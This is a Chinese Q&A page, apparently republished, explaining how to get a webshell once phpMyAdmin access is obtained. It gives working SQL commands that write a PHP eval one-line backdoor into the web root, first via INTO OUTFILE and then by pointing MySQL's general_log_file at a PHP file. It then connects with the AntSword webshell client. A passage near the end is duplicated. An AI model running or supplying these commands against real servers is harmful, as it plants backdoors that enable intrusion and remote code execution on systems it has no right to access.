当前位置:首页 > 编程笔记 > 正文
已解决

拿到 phpMyAdmin 如何获取权限

来自网友在路上 161861提问 提问时间:2023-10-30 21:49:47阅读次数: 61

最佳答案 问答题库618位专家为你答疑解惑

文章目录

  • 拿到 phpMyAdmin 如何获取权限
    • 1. outfile 写一句话木马
    • 2. general_log_file 写一句话木马

拿到 phpMyAdmin 如何获取权限

1. outfile 写一句话木马

尝试使用SQL注入写文件的方式,执行 outfile 语句写入一句话木马。

select "<?php @eval($_REQUEST[6868])?>"  into outfile "C:\\software\\phpstudy_pro\\WWW\\phpadmin.php";

image-20231029162742893

蚁剑连接

image-20231029162856016

2. general_log_file 写一句话木马

查看 general_log 是否开启。通过 show global variables like "%genera%"; 查看。

命令解析:查询全局系统变量中包含"genera"字符串的变量名及其对应的值。

  • GLOBAL VARIABLES:表示查询全局系统变量。

image-20231029162955334

执行 set global general_log="on"; 打开。

image-20231029163324981

通过 generali_log_file 写入一句话木马。

set global general_log_file=“网站绝对路径/文件名”;

命令解析:用于设置全局系统变量 general_log_file 的值为指定的文件路径。

  • general_log_file:表示需要修改的全局系统变量名称,它是MySQL数据库记录所有查询日志的文件名。
  • 执行该命令后,MySQL数据库会将全局系统变量 general_log_file 的值设置为指定的文件路径。

image-20231029163447603

SELECT "<?php @eval($_POST[1])?>"

image-20231029163518004

general_log_file 会记录所有的查询语句,以原始的状态来显示,如果将 general_log 开关打开,general_log_file 设置为一个 php 文件,则查询的操作将会全部写入到 general_log_file 指定的文件,通过访问 general_log_file 指定的文件来获取 webshell。

使用蚁剑进行连接

general_log_file 指定的文件来获取 webshell。**

使用蚁剑进行连接

image-20231029163552891

查看全文

99%的人还看了

猜你感兴趣

版权申明

本文"拿到 phpMyAdmin 如何获取权限":http://eshow365.cn/6-28082-0.html 内容来自互联网,请自行判断内容的正确性。如有侵权请联系我们,立即删除!